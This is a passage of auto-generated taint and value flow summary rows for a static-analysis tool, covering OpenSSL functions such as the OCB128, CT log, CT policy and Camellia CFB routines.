"CRYPTO_nistcts128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_nistcts128_encrypt_block", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_aad", "(OCB128_CONTEXT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sess].Field[*blocks_hashed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[**2]", "Argument[*0].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[**3]", "Argument[*0].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*2]", "Argument[*0].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[*3]", "Argument[*0].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[2]", "Argument[*0].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_copy_ctx", "(OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *)", "", "Argument[3]", "Argument[*0].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_decrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*sess].Field[*blocks_processed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_encrypt", "(OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*sess].Field[*blocks_processed]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**1]", "Argument[*0].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**2]", "Argument[*0].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*1]", "Argument[*0].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*2]", "Argument[*0].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[1]", "Argument[*0].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[2]", "Argument[*0].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[3]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[4]", "Argument[*0].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_init", "(OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[5]", "Argument[*0].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**0]", "ReturnValue[*].Field[***keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[**1]", "ReturnValue[*].Field[***keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*0]", "ReturnValue[*].Field[**keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[*1]", "ReturnValue[*].Field[**keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[0]", "ReturnValue[*].Field[*keyenc]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[1]", "ReturnValue[*].Field[*keydec]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[2]", "ReturnValue[*].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[3]", "ReturnValue[*].Field[*decrypt]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_new", "(void *,void *,block128_f,block128_f,ocb128_f)", "", "Argument[4]", "ReturnValue[*].Field[*stream]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_ocb128_tag", "(OCB128_CONTEXT *,unsigned char *,size_t)", "", "Argument[*0].Field[*l_dollar].Union[*(unnamed class/struct/union)]", "Argument[*1].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_secure_clear_free", "(void *,size_t,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_secure_free", "(void *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "CRYPTO_set_ex_data", "(CRYPTO_EX_DATA *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[**sk].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_set_ex_data", "(CRYPTO_EX_DATA *,int,void *)", "", "Argument[2]", "Argument[*0].Field[**sk].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strdup", "(const char *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strdup", "(const char *,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_strndup", "(const char *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_strndup", "(const char *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[*2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_xts128_encrypt", "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_get0_log_by_id", "(const CTLOG_STORE *,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CTLOG_STORE_get0_log_by_id", "(const CTLOG_STORE *,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_STORE_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_get0_log_id", "(const CTLOG *,const uint8_t **,size_t *)", "", "Argument[*0].Field[*log_id]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_name", "(const CTLOG *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_name", "(const CTLOG *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_public_key", "(const CTLOG *)", "", "Argument[*0].Field[**public_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_get0_public_key", "(const CTLOG *)", "", "Argument[*0].Field[*public_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*public_key]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new", "(EVP_PKEY *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*public_key]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_ex", "(EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[*2]", "Argument[**0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64", "(CTLOG **,const char *,const char *)", "", "Argument[2]", "Argument[**0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[**0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CTLOG_new_from_base64_ex", "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_cert", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_cert", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_issuer", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_issuer", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_log_store", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[**log_store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get0_log_store", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*log_store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_get_time", "(const CT_POLICY_EVAL_CTX *)", "", "Argument[*0].Field[*epoch_time_in_ms]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set1_cert", "(CT_POLICY_EVAL_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set1_issuer", "(CT_POLICY_EVAL_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE", "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**log_store]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE", "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)", "", "Argument[1]", "Argument[*0].Field[*log_store]", "value", "dfc-generated"] + - ["", "", True, "CT_POLICY_EVAL_CTX_set_time", "(CT_POLICY_EVAL_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*epoch_time_in_ms]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Camellia_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - 